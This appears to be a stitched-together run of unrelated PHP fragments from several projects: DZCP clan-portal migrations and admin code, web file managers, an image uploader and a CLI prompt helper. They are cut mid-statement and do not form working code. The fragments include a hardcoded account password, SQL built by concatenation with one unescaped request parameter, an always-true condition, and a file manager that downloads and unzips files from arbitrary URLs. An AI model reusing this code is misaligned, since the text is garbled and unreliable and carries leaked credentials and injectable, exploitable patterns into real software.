editierten Beitrag erreichst Du über folgenden Link:\r\n<a href=\"http://[domain]/forum/?action=showthread&id=[id]&page=[page]#p[entrys]\">http://[domain]/forum/?action=showthread&id=[id]&page=[page]#p[entrys]</a>\r\n\r\n[postuser] hat folgenden neuen Text geschrieben:\r\n---------------------------------\r\n[text]\r\n---------------------------------\r\n\r\nViele Grüße,\r\n\r\nDein [clan]\r\n\r\n[ Diese Email wurde automatisch generiert, bitte nicht antworten! ]"; $eml_pn_subj = "Neue PN auf [domain]"; $eml_pn = "---------------------------------\r\n\r\nHallo [nick],\r\n\r\nDu hast eine neue Nachricht in deinem Postfach.\r\n\r\nTitel: [titel]\r\n\r\n<a href=\"http://[domain]/user/index.php?action=msg\">Zum Nachrichten-Center</a>\r\n\r\nVG\r\n\r\n[clan]\r\n\r\n---------------------------------"; db("UPDATE " . $db['settings'] . "\n \t SET `eml_fabo_npost_subj` = '" . up($eml_fabo_npost_subj) . "',\n \t\t `eml_fabo_tedit_subj` = '" . up($eml_fabo_tedit_subj) . "',\n \t\t `eml_fabo_pedit_subj` = '" . up($eml_fabo_pedit_subj) . "',\n \t\t `eml_pn_subj` \t\t = '" . up($eml_pn_subj) . "',\n \t\t `eml_fabo_npost` = '" . up($eml_fabo_npost) . "',\n \t\t `eml_fabo_tedit` = '" . up($eml_fabo_tedit) . "',\n \t\t `eml_fabo_pedit` = '" . up($eml_fabo_pedit) . "',\n \t\t `eml_pn`\t\t = '" . up($eml_pn) . "'\n \t WHERE `id` = '1'"); db("ALTER TABLE " . $db['users'] . " ADD `pnmail` int(1) NOT NULL default '1'"); db("ALTER TABLE " . $db['msg'] . " ADD `sendmail` int(1) default '0'"); db("UPDATE " . $db['msg'] . " SET `sendmail` = '1'"); db("ALTER TABLE " . $db['gb'] . " ADD `public` int(1) NOT NULL"); db("UPDATE " . $db['gb'] . " SET `public` = '1'"); db("ALTER TABLE " . $db['pos'] . " ADD `nletter` int(1) NOT NULL"); db("ALTER TABLE " . $db['msg'] . " ADD `sendnews` int(1) default '0' NOT NULL"); db("ALTER TABLE " . $db['msg'] . " ADD `senduser` int(5) default '0' NOT NULL"); db("ALTER TABLE " . $db['msg'] . " ADD `sendnewsuser` int(5) default '0' NOT NULL"); db("INSERT INTO " . $db['navi'] . " SET `pos` = '0', `kat` = 'nav_main', `shown` = '1', `name` = '_news_send_', `url` = '../news/send.php', `target` = '0',\n\t\t `type` = '1', `internal` = '0', `wichtig` = '0', `editor` = '0'"); db("ALTER TABLE " . $db['config'] . " ADD `m_events` int(5) default '5' NOT NULL"); db("INSERT INTO " . $db['config'] . " SET `m_events` = '5'"); db("ALTER TABLE " . $db['artikel'] . " ADD `public` int(1) default '0' NOT NULL"); db("UPDATE " . $db['artikel'] . " SET `public` = '1'"); db("ALTER TABLE " . $db['news'] . " ADD `public` int(1) default '0' NOT NULL"); db("UPDATE " . $db['news'] . " SET `public` = '1'"); db("ALTER TABLE " . $db['config'] . " ADD `m_away` int(5) default '10' NOT NULL"); db("INSERT INTO " . $db['config'] . " SET `m_away` = '10'"); db("DROP TABLE IF EXISTS " . $db['away']); db("CREATE TABLE " . $db['away'] . " (\n \t `id` int(5) NOT NULL auto_increment,\n\t\t `userid` INT(14) not null default '0',\n\t\t `titel` varchar(30) not null,\n\t\t `reason` longtext not null,\n\t\t `start` int(20) not null default '0',\n\t\t `end` int(20) not null default '0',\n\t\t `date` text not null,\n\t\t `lastedit` text not null,\n\t\t PRIMARY KEY (`id`)\n\t\t ) ;"); db("INSERT INTO " . $db['navi'] . " SET `pos` = '1', `kat` = 'nav_trial', `shown` = '1', `name` = '_awaycal_', `url` = '../away/', `type` = '2', `internal` = '1'"); db("DROP TABLE IF EXISTS " . $db['sponsoren']); db("CREATE TABLE " . $db['sponsoren'] . " (\n `id` int(5) NOT NULL auto_increment,\n\t\t `name` varchar(249) NOT NULL,\n\t\t `link` varchar(249) NOT NULL,\n\t\t `beschreibung` text NOT NULL,\n\t\t `site` int(1) NOT NULL default '0',\n\t\t `send` varchar(5) NOT NULL,\n\t\t `slink` varchar(249) NOT NULL,\n\t\t `banner` int(1) NOT NULL default '0',\n\t\t `bend` varchar(5) NOT NULL,\n\t\t `blink` varchar(249) NOT NULL,\n\t\t `box` int(1) NOT NULL default '0',\n\t\t `xend` varchar(5) NOT NULL,\n\t\t `xlink` varchar(255) NOT NULL,\n\t\t `pos` int(5) NOT NULL,\n\t\t `hits` int(50) NOT NULL default '0',\n\t\t PRIMARY KEY (`id`)\n\t\t) ;"); db("INSERT INTO " . $db['sponsoren'] . " (`id`, `name`, `link`, `beschreibung`, `site`, `send`, `slink`, `banner`, `bend`, `blink`, `box`, `xend`, `xlink`, `pos`, `hits`) \nVALUES \n(1, 'DZCP', 'http://www.dzcp.de', '<p>deV!L\\'z Clanportal, das CMS for Online-Clans!</p>', 0, '', '', 0, '', '', 1, 'gif', '', 7, 0), \n(2, 'DZCP Rotationsbanner', 'http://www.dzcp.de', '<p>deV!L`z Clanportal</p>', 0, '', '', 1, '', 'http://www.dzcp.de/banner/dzcp.gif', 0, '', '', 5, 0), \n(3, 'TEMPLATEbar', 'http://www.templatebar.de', '<p>Auf TEMPLATEbar.de kannst du dir kostengünstige Clandesigns und/oder Templates von Top Designer erwerben.</p>', 1, '', 'http://www.templatebar.de/___FILES/TBbanner/tb_468x60_2.gif', 1, '', 'http://www.templatebar.de/___FILES/TBbanner/tb_468x60_2.gif', 1, '', 'http://www.templatebar.de/___FILES/TBbanner/tb_88x32.gif', 1, 0), \n(4, 'MODSbar.de', 'http://www.modsbar.de', '<p>Auf MODSbar.de kannst du dir kostengünstige Modifikationen und/oder Dienstleistungen von Top Codern erwerben.</p>', 1, '', 'http://www.templatebar.de/___FILES/MBbanner/mb_468x60.gif', 1, '', 'http://www.templatebar.de/___FILES/MBbanner/mb_468x60.gif', 1, '', 'http://www.templatebar.de/___FILES/MBbanner/mb_88x32.gif', 2, 0);"); db("ALTER TABLE " . $db['partners'] . " ADD `textlink` INT(1) NOT NULL default '0'"); db("INSERT INTO " . $db['partners'] . " (`link`, `banner`, `textlink`) VALUES ('http://www.dzcp.de.de', 'dzcp.de', 1);"); db("INSERT INTO " . $db['partners'] . " (`link`, `banner`, `textlink`) VALUES ('http://www.hogibo.net', 'Webspace', 1);"); db("INSERT INTO " . $db['partners'] . " (`link`, `banner`, `textlink`) VALUES ('http://www.freunde.org', 'Freunde finden', 1);"); db("ALTER TABLE " . $db['permissions'] . " ADD `pos` INT( 1 ) NOT NULL AFTER `user`"); db("ALTER TABLE " . $db['f_access'] . " ADD `pos` INT( 1 ) NOT NULL AFTER `user` "); db("ALTER TABLE " . $db['squads'] . " ADD `beschreibung` TEXT"); db("ALTER TABLE " . $db['cw'] . " ADD `top` INT(1) NOT NULL default '0'"); db("UPDATE " . $db['cw'] . " SET `top` = '1' WHERE `id` = '1'"); }
$sign = "> "; } $kat = preg_replace('/-(\\d+)/', '', $_POST['navi']); $pos = preg_replace("=nav_(.+)-=", "", $_POST['navi']); $posi = db("UPDATE " . $db['navi'] . "\n\t\t\t\t\t\t\t\t\t\t\t\t\tSET pos = pos+1\n\t\t\t\t\t\t\t\t\t\t\t\t\tWHERE pos " . $sign . " '" . intval($pos) . "'"); $posi = db("UPDATE " . $db['navi'] . "\n\t\t\t\t\t\t\t\t\t\t\t\t\tSET `pos` = '" . (int) $pos . "',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t`kat` = '" . up($kat) . "',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t`name` = '" . up($_POST['squad']) . "',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t`url` = '../squads/?action=shows&id=" . intval($_GET['id']) . "'\n\t\t\t\t\t\t\t\t\t\t\t\t\tWHERE id = '" . intval($get['id']) . "'"); } else { if ($_POST['navi'] == "1" || "2") { $signnav = ">= "; } else { $signnav = "> "; } $kat = preg_replace('/-(\\d+)/', '', $_POST['navi']); $pos = preg_replace("=nav_(.*?)-=", "", $_POST['navi']); db("UPDATE " . $db['navi'] . " SET `pos` = pos+1 WHERE pos " . $signnav . " '" . intval($pos) . "'"); db("INSERT INTO " . $db['navi'] . "\n\t\t\t\t\t\t\t\t\tSET `pos` = '" . (int) $pos . "',\n\t\t\t\t\t\t\t\t\t\t\t`kat` = '" . up($kat) . "',\n\t\t\t\t\t\t\t\t\t\t\t`name` = '" . up($_POST['squad']) . "',\n\t\t\t\t\t\t\t\t\t\t\t`url` = '../squads/?action=shows&id=" . intval($_GET['id']) . "',\n\t\t\t\t\t\t\t\t\t\t\t`shown` = '1',\n\t\t\t\t\t\t\t\t\t\t\t`type` = '2'"); } } else { $qry = db("SELECT * FROM " . $db['navi'] . " WHERE url = '../squads/?action=shows&id=" . intval($_GET['id']) . "'"); if (_rows($qry)) { db("DELETE FROM " . $db['navi'] . " WHERE url = '../squads/?action=shows&id=" . intval($_GET['id']) . "'"); } } $tmp = $_FILES['banner']['tmp_name']; $type = $_FILES['banner']['type']; $end = explode(".", $_FILES['banner']['name']); $end = strtolower($end[count($end) - 1]); if (!empty($tmp)) { foreach ($picformat as $end1) { $img = getimagesize($tmp); if (file_exists(basePath . '/inc/images/squads/' . intval($_GET['id']) . '.' . $end1)) {
$isclosed = "checked=\"checked\""; } $what = "&do=editvote&id=" . $_GET['id'] . ""; $show = show($dir . "/form_vote", array("head" => _votes_admin_edit_head, "value" => "edit", "id" => $_GET['id'], "what" => $what, "value" => _button_value_edit, "br1" => "", "br2" => "", "question1" => re($get['titel']), "a1" => voteanswer("a1", $_GET['id']), "a2" => voteanswer("a2", $_GET['id']), "a3" => voteanswer("a3", $_GET['id']), "a4" => voteanswer("a4", $_GET['id']), "a5" => voteanswer("a5", $_GET['id']), "a6" => voteanswer("a6", $_GET['id']), "a7" => voteanswer("a7", $_GET['id']), "error" => "", "a8" => voteanswer("a8", $_GET['id']), "a9" => voteanswer("a9", $_GET['id']), "a10" => voteanswer("a10", $_GET['id']), "intern" => $intern, "isclosed" => $isclosed, "closed" => _votes_admin_closed, "interna" => _votes_admin_intern, "question" => _votes_admin_question, "answer" => _votes_admin_answer)); } elseif ($_GET['do'] == "editvote") { $qry = db("SELECT * FROM " . $db['vote_results'] . "\n WHERE vid = '" . intval($_GET['id']) . "'"); $get = _fetch($qry); $upd = db("UPDATE " . $db['votes'] . "\n SET `titel` = '" . up($_POST['question']) . "',\n `intern` = '" . (int) $_POST['intern'] . "',\n `closed` = '" . (int) $_POST['closed'] . "'\n WHERE id = '" . intval($_GET['id']) . "'"); $upd1 = db("UPDATE " . $db['vote_results'] . "\n SET `sel` = '" . up($_POST['a1']) . "'\n WHERE what = 'a1'\n AND vid = '" . intval($_GET['id']) . "'"); $upd2 = db("UPDATE " . $db['vote_results'] . "\n SET `sel` = '" . up($_POST['a2']) . "'\n WHERE what = 'a2'\n AND vid = '" . intval($_GET['id']) . "'"); for ($i = 3; $i <= 10; $i++) { if (!empty($_POST['a' . $i . ''])) { if (cnt($db['vote_results'], " WHERE vid = '" . intval($_GET['id']) . "' AND what = 'a" . $i . "'") != 0) { $upd = db("UPDATE " . $db['vote_results'] . "\n SET `sel` = '" . up($_POST['a' . $i . '']) . "'\n WHERE what = 'a" . $i . "'\n AND vid = '" . intval($_GET['id']) . "'"); } else { $ins = db("INSERT INTO " . $db['vote_results'] . "\n SET `vid` = '" . $_GET['id'] . "',\n `what` = 'a" . $i . "',\n `sel` = '" . up($_POST['a' . $i . '']) . "'"); } } if (cnt($db['vote_results'], " WHERE vid = '" . intval($_GET['id']) . "' AND what = 'a" . $i . "'") != 0 && empty($_POST['a' . $i . ''])) { $del = db("DELETE FROM " . $db['vote_results'] . "\n WHERE vid = '" . intval($_GET['id']) . "'\n AND what = 'a" . $i . "'"); } } $show = info(_vote_admin_successful_edited, "?admin=votes"); } elseif ($_GET['do'] == "menu") { $qryv = db("SELECT intern FROM " . $db['votes'] . "\n WHERE id = '" . intval($_GET['id']) . "'\n AND intern = 1"); if (_rows($qryv)) { $show = error(_vote_admin_menu_isintern, 1); } else { $qrys = db("SELECT * FROM " . $db['votes'] . "\n WHERE id = '" . intval($_GET['id']) . "'"); $get = _fetch($qrys); if ($get['menu'] == 1) {
} else { echo "" . mm("DONE") . "!<p>"; } echo "View <a href={$self}?c=l&d=" . urlencode(dirname($from)) . ">" . dirname($from) . "</a> (dir 'from')<p>"; echo "View <a href={$self}?c=l&d=" . urlencode(dirname($to)) . ">" . dirname($to) . "</a> (dir 'to')<p>"; break; case "e": // edit if (!$write_access) { exitw(); } if (!@realpath($d . $f) || !file_exists($d . $f)) { exit("" . mm("file not found") . ""); } echo $GLOBALS['html']; up($d, $f); echo "<a href={$self}?&c=l&d=" . urlencode($d) . "><nobr><<<<b>" . mm("back to directory") . "</b> >>></nobr></a>"; up_link($d, $f); $msg = ""; if (!is_file($d . $f) || !($fi = @fopen($d . $f, "r+"))) { $msg = " (<font color=red><b>" . mm("ONLY READ ACCESS (don't edit!)") . "</b></font>)"; } else { fclose($fi); } if (!is_file($d . $f) || !($fi = @fopen($d . $f, "r"))) { $msg = " (<font color=red><b>" . mm("Can't READ file - access denied (don't edit!)") . "</b></font>)"; } else { fclose($fi); } if ($msg == "") { $msg = "(<font color=#009900><b>" . mm("full read/write access") . "</b></font>)";
if (permission("gb")) { $comment = show(_gb_commenticon, array("id" => $get['id'])); } else { $comment = ""; } if ($get['reg'] == "0") { $gbtitel = show(_gb_titel_noreg, array("postid" => "?", "nick" => re($get['nick']), "edit" => "", "delete" => "", "comment" => "", "public" => "", "uhr" => _uhr, "email" => $gbemail, "datum" => date("d.m.Y", $get['datum']), "zeit" => date("H:i", $get['datum']), "hp" => $gbhp)); } else { $gbtitel = show(_gb_titel, array("postid" => "?", "nick" => data($get['reg'], "nick"), "edit" => "", "public" => "", "delete" => "", "uhr" => _uhr, "comment" => "", "id" => $get['reg'], "email" => $gbemail, "datum" => date("d.m.Y", $get['datum']), "zeit" => date("H:i", $get['datum']), "hp" => $gbhp)); } $entry = show($dir . "/gb_show", array("gbtitel" => $gbtitel, "nachricht" => bbcode($get['nachricht']), "editby" => bbcode($get['editby']), "ip" => $get['ip'])); $index = show($dir . "/gb_addcomment", array("head" => _gb_addcomment_head, "entry" => $entry, "what" => _button_value_add, "id" => $_GET['id'], "head_gb" => _gb_addcomment_headgb)); } elseif ($_GET['do'] == "postcomment") { $qry = db("SELECT * FROM " . $db['gb'] . "\n WHERE id = '" . intval($_GET['id']) . "'"); $get = _fetch($qry); $comment = show($dir . "/commentlayout", array("nick" => autor($userid), "datum" => date("d.m.Y H:i", time()) . _uhr, "comment" => up($_POST['comment'], 1), "nachricht" => $get['nachricht'])); $upd = db("UPDATE " . $db['gb'] . "\n SET `nachricht` = '" . $comment . "'\n WHERE id = '" . intval($_GET['id']) . "'"); $index = info(_gb_comment_added, "../gb/"); } } break; case 'preview': header("Content-type: text/html; charset=utf-8"); if (isset($_GET['edit']) && !empty($_GET['edit'])) { $qry = db("SELECT * FROM " . $db['gb'] . "\n WHERE id = '" . intval($_GET['edit']) . "'"); $get = _fetch($qry); $get_id = '?'; $get_userid = $get['reg']; $get_date = $get['datum']; if ($get['reg'] == 0) { $regCheck = true;
public static function exec_cos() { $Root = "../"; $r = glob("../app/schemas/*.php"); $r2 = array(); $r2 = array(); foreach ($r as $value) { $temp1 = explode("schemas/", $value); $temp2 = explode("_", $temp1[1]); $temp3 = explode(".", $temp2[1]); $ex = $temp3[0]; // if ($ex == $_POST['exec_cos_migrate_select']) { $r2[] = $ex; $r3[] = $temp2[0]; } } $v = ""; $full_name = ""; // if (count($r2) > 1) { for ($i = 1; $i < count($r2); $i++) { error_log($r3[$i] . '*/*' . $r3[$i - 1]); if ($r3[$i] >= $r3[$i - 1]) { $v = "../app/schemas/" . $r3[$i] . "_" . $r2[$i] . ".php"; $full_name = $r3[$i] . "_" . $r2[$i]; } } } else { $v = "../app/schemas/" . $r3[0] . "_" . $r2[0] . ".php"; $full_name = $r3[0] . "_" . $r2[0]; } try { include_once $v; if (up()) { Migration::updateRegister($full_name, "exec", $Root, ''); echo "Schéma executé"; } else { echo Database::execErr(); } } catch (Exception $e) { echo $e->getMessage(); } }
**/ # $uploader->login('your user', 'your pass'); break; case 'Picasa': /** * Picasa bắt buộc phải đăng nhập * AlbumID lấy ở link RSS trong album (ko biết thì tự tìm hiểu ở google) * Phần albumID có thể set 1 array('id1', 'id2'); Code sẽ tự động lấy ngẫu nhiên 1 album trong số đó để upload vào. * Nếu ko setAlbumID thì code sẽ up vào album default của picasa * Giới hạn upload ca Picasa xem tại đây: https://support.google.com/picasa/answer/43879?hl=vi * Nếu ko dùng AlbumID thì thêm dấu # ở trước */ $uploader->login('*****@*****.**', 'anhyeuem)*)!!((5'); #$uploader->setAlbumID('album id của bạn'); break; } if (!$imagePath) { die('Mising an image'); } $url = $uploader->upload($imagePath); if (file_exists($imagePath)) { unlink($imagePath); } if ($isUpload) { echo 'image=' . $url; } else { echo $url; } } up("http://phim-vn.com/upload/images/23000_large.jpg", 800, 0);
/** * Prompts the user for input, and returns it. * * @param string $prompt Prompt text. * @param mixed $options Array or string of options. * @param string $default Default input value. * @return Either the default value, or the user-provided input. * @access public */ function in($prompt, $options = null, $default = null) { if (!$this->interactive) { return $default; } $in = $this->Dispatch->getInput($prompt, $options, $default); if ($options && is_string($options)) { if (strpos($options, ',')) { $options = explode(',', $options); } elseif (strpos($options, '/')) { $options = explode('/', $options); } else { $options = array($options); } } if (is_array($options)) { while ($in == '' || $in && (!in_array(low($in), $options) && !in_array(up($in), $options)) && !in_array($in, $options)) { $in = $this->Dispatch->getInput($prompt, $options, $default); } } if ($in) { return $in; } }
printerror("您没有选择文件"); } } } /****************************************************************/ /* function switch() */ /* */ /* Switches functions. */ /* Recieves $op() and switches to it *. /****************************************************************/ switch ($op) { case "home": home(); break; case "up": up(); break; case "yupload": if (!isset($_REQUEST['url'])) { printerror('您没有输入文件地址!'); } elseif (isset($_REQUEST['ndir'])) { yupload($_REQUEST['url'], $_REQUEST['ndir'], @$_REQUEST['unzip'], @$_REQUEST['delzip']); } else { yupload($_REQUEST['url'], './', @$_REQUEST['unzip'], @$_REQUEST['delzip']); } break; case "upload": if (!isset($_FILES['upfile'])) { printerror('您没有选择文件!'); } elseif (isset($_REQUEST['ndir'])) { upload($_FILES['upfile'], $_REQUEST['ndir'], @$_REQUEST['unzip'], @$_REQUEST['delzip']);
$show = info(_config_newskats_added, "?admin=news"); } } elseif ($_GET['do'] == "edit") { $qry = db("SELECT * FROM " . $db['newskat'] . "\n WHERE id = '" . intval($_GET['id']) . "'"); $get = _fetch($qry); $files = get_files('../inc/images/newskat/'); for ($i = 0; $i < count($files); $i++) { if ($get['katimg'] == $files[$i]) { $sel = "selected=\"selected\""; } else { $sel = ''; } $img .= show(_select_field, array("value" => $files[$i], "sel" => $sel, "what" => $files[$i])); } $upload = show(_config_neskats_katbild_upload_edit, array("id" => $_GET['id'])); $do = show(_config_newskats_editid, array("id" => $_GET['id'])); $show = show($dir . "/newskatform", array("head" => _config_newskats_edit_head, "nkat" => _config_katname, "kat" => re($get['kategorie']), "value" => _button_value_edit, "id" => $_GET['id'], "nothing" => _nothing, "do" => $do, "nimg" => _config_newskats_katbild, "upload" => $upload, "img" => $img)); } elseif ($_GET['do'] == "editnewskat") { if (empty($_POST['kat'])) { $show = error(_config_empty_katname, 1); } else { if ($_POST['img'] == "lazy") { $katimg = ""; } else { $katimg = "`katimg` = '" . up($_POST['img']) . "',"; } $qry = db("UPDATE " . $db['newskat'] . "\n SET " . $katimg . "\n `kategorie` = '" . up($_POST['kat']) . "'\n WHERE id = '" . intval($_GET['id']) . "'"); $show = info(_config_newskats_edited, "?admin=news"); } } }